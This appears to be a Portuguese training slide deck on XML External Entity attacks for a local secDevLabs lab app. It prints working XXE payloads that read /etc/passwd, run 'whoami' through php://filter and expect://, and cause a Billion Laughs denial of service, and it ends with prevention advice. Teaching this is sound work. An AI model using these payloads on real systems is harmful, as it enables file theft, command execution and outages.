A4 - XML External Entities

globo.com

GTS 33 | PA 05/2019

Agenda - A4 - XXE

1. Do que se trata?
2. Aplicação Ideal
3. Recuperando `/etc/passwd` do servidor
4. Recuperando usuário da aplicação
5. Exemplo de ataque Billion Laughs
6. Como se proteger?
7. ViniJR Blog

Do que se trata?

Um ataque XXE é um tipo de ataque contra aplicações que **decodificam** entradas XML. O ataque acontece quando uma **entidade externa** XML é processada por um decodificador XML mal configurado.


```
<?xml version='1.0' encoding="ISO-8859-1"?>
<cupom>
CUPOM10
</cupom>
```

Aplicação Ideal

Desculpe, CUPOM10 não é um cupom válido!

Aplicação Ideal


```
<?xml version='1.0' encoding="ISO-8859-1"?>
<!DOCTYPE cupom [
<!ELEMENT cupom ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<cupom>
&xxe;
</cupom>
```

Recuperando /etc/passwd do Servidor


```
Desculpe, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin não é
um cupom válido!
```

Recuperando /etc/passwd do Servidor


```
<?xml version='1.0' encoding="ISO-8859-1"?>
<!DOCTYPE cupom [
<!ELEMENT cupom ANY >
<!ENTITY xxe SYSTEM
"php://filter/convert.base64-encode/resource=expect:/
/whoami" >]>
<cupom>
&xxe;
</cupom>
```

Recuperando /etc/passwd do Servidor


```
Desculpe, d3d3LWRhdGEK não é um cupom válido!
```

```
$ echo d3d3LWRhdGEK | base64 -d
www-data
```

Recuperando Usuário da Aplicação

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

Exemplo de ataque Billion Laughs

Como se Prevenir?

1. A **sanitização de entradas** é essencial para que nenhuma entrada do usuário seja interpretada de forma a alterar a execução esperada do programa. 🛁
2. **Desabilitar** o uso de DTD (External Entity) em todo parser XML da aplicação. 🤦‍♀️


I'M VINICIUS JUNIOR.|
Flamengo, Brazil, Real Madrid

Narrativa do ataque

Hands on!

1. Entrar na pasta da app

```
$ cd secDevLabs/owasp-top10-2017-apps/a4/vinijr-blog
```

2. Inicializar o container

```
$ make install
```

3. Acessar a página

```
localhost:10080
```

globo.com

A4 - XML External Entities